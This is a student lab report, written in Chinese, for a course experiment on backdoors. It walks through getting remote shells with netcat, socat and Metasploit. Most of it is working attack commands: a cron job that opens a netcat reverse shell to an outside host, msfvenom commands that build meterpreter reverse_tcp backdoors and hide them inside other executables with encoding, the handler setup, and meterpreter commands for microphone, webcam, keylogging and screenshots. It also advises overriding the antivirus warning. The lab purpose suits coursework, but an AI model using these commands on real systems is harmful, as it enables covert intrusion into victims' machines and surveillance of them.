20181202 《网络对抗技术》exp2 后门原理与实践
实验内容
- 任务一:使用netcat获取主机操作Shell,cron启动
- 任务二:使用socat获取主机操作Shell, 任务计划启动
- 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 任务五:(可选加分内容)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
基础问答
-
例举你能想到的一个后门进入到你系统中的可能方式?
如任务五所要求的,将后门程序(getshell等等)注入进一个原本安全的程序,并通过适当的伪装(如多次迭代等)是目标主机的杀毒软件很难检测,再将该程序发布到网页中,诱导用户进行下载,运行。
-
例举你知道的后门如何启动起来(win及linux)的方式?
Win:修改开机启动项,修改任务表,注入shellcode等
Linux:修改任务表,注入shellcode等
-
Meterpreter有哪些给你映像深刻的功能?
可以根据不同系统、架构生成特定的shellcode,并可以自动将其注入进指定程序。此外,还包含了很多窃取消息的指令。
-
如何发现自己的系统有没有被安装后门?
使用杀毒软件,防火墙。监控应用进程。
实验步骤
任务一:使用netcat获取主机操作Shell,cron启动
-
在Windows系统下,使用
ncat.exe -l -p 5204
命令,监听5204
端口
-
在Kali环境下,用
crontab -e
指令编辑一条定时任务
-
crontab
指令增加一条定时任务 -
-e
表示编辑 -
选择编辑器时选择3
-
在最后一行添加
15 * * * * /bin/netcat 192.168.62.1 5204 -e /bin/sh
意思是,每个小时的第15分钟反向连接Windows主机的5205端口
-
当时间到了11点15时,此时已经获得了Kali的shell,可以输入指令
2.使用socat获取主机操作Shell, 任务计划启动
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
-
Win+R
输入compmgmt.msc
打开“计算机管理” -
在“任务计划程序”中“创建任务”
-
填写任务名称,并新建一个触发器
-
在操作->新建->程序或脚本中选择你的
socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5204 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5204
,同时把cmd.exe
的stderr
重定向到stdout
上:
-
创建完成之后,按
Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
-
此时,在Kali环境下输入指令
socat - tcp:192.168.62.1:5205
- 这里的第一个参数
-
代表标准的输入输出 - 第二个流连接到Windows主机的
5205
端口 - 此时可以发现已经成功获得了一个cmd shell
这里有一个问题,任务计划必须手动点击运行后才能正确获取shell
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.128.129 LPORT=5204 -f exe > 20181202_backdoor.exe
-
IP地址为控制端IP,即Linux的IP
-
生成了后门程序:
20181202_backdoor.exe
-
通过
ncat.exe -lv 5204 > 20181202_backdoor.exe
指令将被控制主机进入接受文件模式
-
在Linux中执行
nc 172.16.209.7 5204 < 20181202_backdoor.exe
,- 注意这里的IP为被控主机IP,即WindowsIP
- 注意这里的IP为被控主机IP,即WindowsIP
-
传送接收文件成功
此时防火墙提示有严重安全威胁,一定要允许执行,不要隔离!
-
在Kali上使用
msfconsole
指令进入msf控制台
- 输入
use exploit/multi/handler
使用监听模块,设置payload set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payloadset LHOST 192.168.128.129
,这里用的是LinuxIP,和生成后门程序时指定的IP相同set LPORT 5204
,同样要使用相同的端口
-
设置完成后,执行监听
-
双击运行Windows下的后门程序
-
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
-
使用
record_mic
指令可以截获一段音频
-
使用
webcam_snap
指令可以使用摄像头进行拍照
-
使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
-
使用
screenshot
指令可以进行截屏
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 使用以下命令可将后门程序注入pwn1程序中
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.128.129 LPORT=443 -f exe > 20181202_backdoor.exe
注意添加了-x
,其功能即为注入到一个现有程序
- 在参数说明中提到,
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp
就是一段shellcode。实验一的pwn1在linux下运行,因此代码改为
msfvenom -p linux/meterpreter/reverse_tcp
-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中,因此将该文件修改为pwn1
,因此代码变成
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1
- 修改
LHOST、LPORT
为Kali的ip地址和端口,因此代码变成
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.128.129 LPORT=5301
-f
生成文件的类型,使用file pwn1
得知pwn1的文件类型是elf
,因此代码调整为
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.128.129 LPORT=5301 -f elf···
>
输出到哪个文件,将最后生成的文件改为pwn20181202,代码调整为
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.128.129 LPORT=5301 -f elf > pwn20181202
- 报错
Error: invalid payload: linux/meterpreter/reverse_tcp
,通过查询资料得知应为
msfvenom -p linux/x86/meterpreter/reverse_tcp
- 又发现了一个编码问题,
Error: incompatible character encodings: UTF-8 and ASCII-8BIT
,将代码涉及到编码的参数-i -b
都删掉,变为如下形式就不报错了
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.128.129 LPORT=5301 -x pwn1 -f elf > pwn20181202
- 这一次注入成功
- 启动监听,并在另一台Linux虚拟机中运行pwn20181202
>msfconsole
>set payload linux/x86/meterpreter/reverse_tcp
>set LHOST 192.168.128.129
>set LPORT 5301
- 注入成功
总结体会
通过本次实验我明白了后门的基本原理,按照老师的教程和学长学姐的博客一步步完成实验。感觉本次实验更加刺激有意思,了解到后门的厉害,但是也同时感到阔怕,有可能自己的电脑早就被植入好多个后门了,入侵过无数次,因此我们平时也要多注意网上安全,留意恶意程序。